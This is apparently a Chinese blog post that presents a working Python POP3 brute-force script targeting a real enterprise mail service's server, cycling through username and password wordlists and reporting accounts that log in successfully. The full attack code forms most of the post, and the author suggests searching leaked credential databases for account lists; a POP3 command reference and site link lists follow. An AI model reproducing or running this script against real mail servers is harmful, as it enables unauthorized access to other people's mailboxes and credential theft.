python制作企业邮箱的爆破脚本


Posted in Python onOctober 05, 2016

按照师傅给的任务,写了一个企业邮箱的爆破脚本,后续还有FTP,SSH等一些爆破的脚本。

我先说下整体思路:

总体就是利用python的poplib模块来从pop3服务器上交互,根据获取的相关信息,产生结果。POP3协议并不复杂,它也是采用的一问一答式的方式,你向服务器发送一个命令,服务器必然会回复一个信息.

1.首先验证参数是否正确

    Sys.argv[]是用来获取命令行参数的,sys.argv[0]表示代码本身文件路径,所以参数从1开始

2.然后从用户密码文件中读取信息
3.pop.getwelcome()用来获取连接服务器的响应状态
4.然后就是脚本的核心代码部分

server = "pop.qiye.163.com" //设置pop3服务器地址
pop = poplib.POP3(server,110) //连接pop3服务器
pop.user(user) //验证用户名
auth = pop.pass_(passwd) //验证密码
if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK”
 pring user,passwd

5.最后输出出来相关的用户信息

脚本代码如下:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author:joy_nick
@博客:http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
 print "\t --------------------------------------------------\n"
 print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
 sys.exit(1)

server = "pop.qiye.163.com"
success = []

try:
 users = open(sys.argv[1], "r").readlines()
except(IOError):
 print "[-] Error: urerlist打开失败!\n"
 sys.exit(1)

try:
 words = open(sys.argv[2], "r").readlines()
except(IOError):
 print "[-] Error: passlist打开失败!\n"
 sys.exit(1)
try:
 pop = poplib.POP3(server,110)
 welcome = pop.getwelcome()
 print welcome
 pop.quit()
except (poplib.error_proto):
 welcome = "No Response"
 pass

def mailbruteforce(listuser,listpwd):
 if len(listuser) < 1 or len(listpwd) < 1 :
 print "An error occurred: No user or pass list"
 return 1
 for user in listuser:
 for value in listpwd :
 user = user.replace("\n","")
 value = value.replace("\n","")
 try:
 print "-"*12
 print "[+] User:",user,"Password:",value
 time.sleep(1)
 pop = poplib.POP3(server,110)
 pop.user(user)
 auth = pop.pass_(value)
 print auth
 if auth.split(' ')[0]!= "+OK" :
 pop.quit()
 print "unknown error !"
 continue
 if pop.stat()[1] is None or pop.stat()[1] < 1 :
 pop.quit()
 print "获取信息失败!"
 continue
 ret = (user,value,pop.stat()[0],pop.stat()[1])
 success.append(ret)
 pop.quit()
 break
 except:
 #print "An error occurred:", msg
 pass
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)

print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
 for ret in success:
 print "\n\n[+] Login successful:",ret[0], ret[1]
 print "\t[+] Mail:",ret[2],"emails"
 print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"

测试结果:

python制作企业邮箱的爆破脚本

说明:

用户字典文件需要@domain.com,类似zhangsan@domain.com、lisi@domain.com、wangwu@domain.com这样的。由于我也没有企业邮箱的账号密码,也就没测试成功的,要是感兴趣,可以搜一下相关社工裤。

附:

python 中 os._exit(), sys.exit(), exit() 的区别是什么?

  1. sys.exit(n) 退出程序引发一个SystemExit异常, 可以捕获异常执行些清理工作. n默认值为0, 表示正常退出. 其他都是非正常退出. 没有捕获这个异常,会直接退出;捕获这个异常可以做一些额外的清理工作。 一般主程序中使用此退出
  2. os._exit(n), 直接退出 Python 解释器,其后的代码都不执行, 不抛异常, 不执行相关清理工作. 常用在子进程的退出.
  3. exit() 跟 C 语言等其他语言的 exit() 应该是一样的

pop3收取邮件的过程一般是:

  • 连接pop3服务器 (poplib.POP3.__init__)
  • 发送用户名和密码进行验证 (poplib.POP3.user poplib.POP3.pass_)
  • 获取邮箱中信件信息 (poplib.POP3.stat)
  • 收取邮件 (poplib.POP3.retr)
  • 删除邮件 (poplib.POP3.dele)
  • 退出 (poplib.POP3.quit)

命令 poplib方法 参数 状态 描述
-----------------------------------------------------------------------------------------------
USER user username 认可 用户名,此命令与下面的pass命令若成功,将导致状态转换
PASS pass_ password 认可 用户密码
APOP apop Name,Digest 认可 Digest是MD5消息摘要
-----------------------------------------------------------------------------------------------
STAT stat None 处理 请求服务器发回关于邮箱的统计资料,如邮件总数和总字节数
UIDL uidl [Msg#] 处理 返回邮件的唯一标识符,POP3会话的每个标识符都将是唯一的
LIST list [Msg#] 处理 返回邮件数量和每个邮件的大小
RETR retr [Msg#] 处理 返回由参数标识的邮件的全部文本
DELE dele [Msg#] 处理 服务器将由参数标识的邮件标记为删除,由quit命令执行
RSET rset None 处理 服务器将重置所有标记为删除的邮件,用于撤消DELE命令
TOP top [Msg#] 处理 服务器将返回由参数标识的邮件前n行内容,n必须是正整数
NOOP noop None 处理 服务器返回一个肯定的响应

Python 相关文章推荐
Python做文本按行去重的实现方法
Oct 19 Python
Python字典简介以及用法详解
Nov 15 Python
python 数据的清理行为实例详解
Jul 12 Python
python使用正则表达式替换匹配成功的组并输出替换的次数
Nov 22 Python
Python3之读取连接过的网络并定位的方法
Apr 22 Python
教你利用Python玩转histogram直方图的五种方法
Jul 30 Python
Django 登陆验证码和中间件的实现
Aug 17 Python
python分数表示方式和写法
Jun 26 Python
Python倒排索引之查找包含某主题或单词的文件
Nov 13 Python
pytorch中的自定义反向传播,求导实例
Jan 06 Python
pycharm 添加解释器的方法步骤
Aug 31 Python
Python+Selenium随机生成手机验证码并检查页面上是否弹出重复手机号码提示框
Sep 21 Python
python爬取NUS-WIDE数据库图片
Oct 05 #Python
python2.7的编码问题与解决方法
Oct 04 #Python
Python Sqlite3以字典形式返回查询结果的实现方法
Oct 03 #Python
Python实现屏幕截图的代码及函数详解
Oct 01 #Python
Python爬取APP下载链接的实现方法
Sep 30 #Python
Python脚本实现12306火车票查询系统
Sep 30 #Python
Python ldap实现登录实例代码
Sep 30 #Python
You might like
海贼王动画变成“真人”后,凯多神还原,雷利太帅了!
2020/04/09 日漫
PHP根据session与cookie用户登录状态操作类的代码
2016/05/13 PHP
yii2简单使用less代替css示例
2017/03/10 PHP
PHP实现基于面向对象的mysqli扩展库增删改查操作工具类
2017/07/18 PHP
使用XHProf查找PHP性能瓶颈的实例
2017/12/13 PHP
php post json参数的传递和接收处理方法
2018/05/31 PHP
cument.execCommand()用法深入理解
2012/12/04 Javascript
JQUERY对单选框(radio)操作的小例子
2013/04/25 Javascript
基于jquery的9行js轻松实现tab控件示例
2013/10/12 Javascript
javascript如何创建表格(javascript绘制表格的二种方法)
2013/12/10 Javascript
JS实现的最简Table选项卡效果
2015/10/14 Javascript
老生常谈JQuery data方法的使用
2016/09/09 Javascript
JS中使用mailto实现将用户在网页中输入的内容传递到本地邮件客户端
2016/10/08 Javascript
浅谈js对象的创建和对6种继承模式的理解和遐想
2016/10/16 Javascript
分分钟玩转Vue.js组件
2016/10/25 Javascript
用jQuery.ajaxSetup实现对请求和响应数据的过滤
2016/12/20 Javascript
js实现简单的手风琴效果
2017/02/27 Javascript
angular4实现tab栏切换的方法示例
2017/10/21 Javascript
Vue2.5 结合 Element UI 之 Table 和 Pagination 组件实现分页功能
2018/01/26 Javascript
JavaScript基础教程之如何实现一个简单的promise
2018/09/11 Javascript
javascript中toFixed()四舍五入使用方法详解
2018/09/28 Javascript
angularJs使用ng-repeat遍历后选中某一个的方法
2018/09/30 Javascript
Vue中的methods、watch、computed的区别
2018/11/26 Javascript
React 使用recharts实现散点地图的示例代码
2018/12/07 Javascript
小程序实现自定义导航栏适配完美版
2019/04/02 Javascript
Vue解析剪切板图片并实现发送功能
2020/02/04 Javascript
[04:42]5分钟带你了解什么是DOTA2(第一期)
2017/02/07 DOTA
解决tensorflow1.x版本加载saver.restore目录报错的问题
2018/07/26 Python
python实现多层感知器MLP(基于双月数据集)
2019/01/18 Python
Python中的异常处理try/except/finally/raise用法分析
2019/02/28 Python
python requests指定出口ip的例子
2019/07/25 Python
Python3标准库之functools管理函数的工具详解
2020/02/27 Python
英国儿童鞋和靴子:Start-Rite
2019/05/06 全球购物
武汉高蓝德国际.net机试
2016/06/24 面试题
校三好学生主要事迹
2014/01/11 职场文书
学历证明范文
2015/06/16 职场文书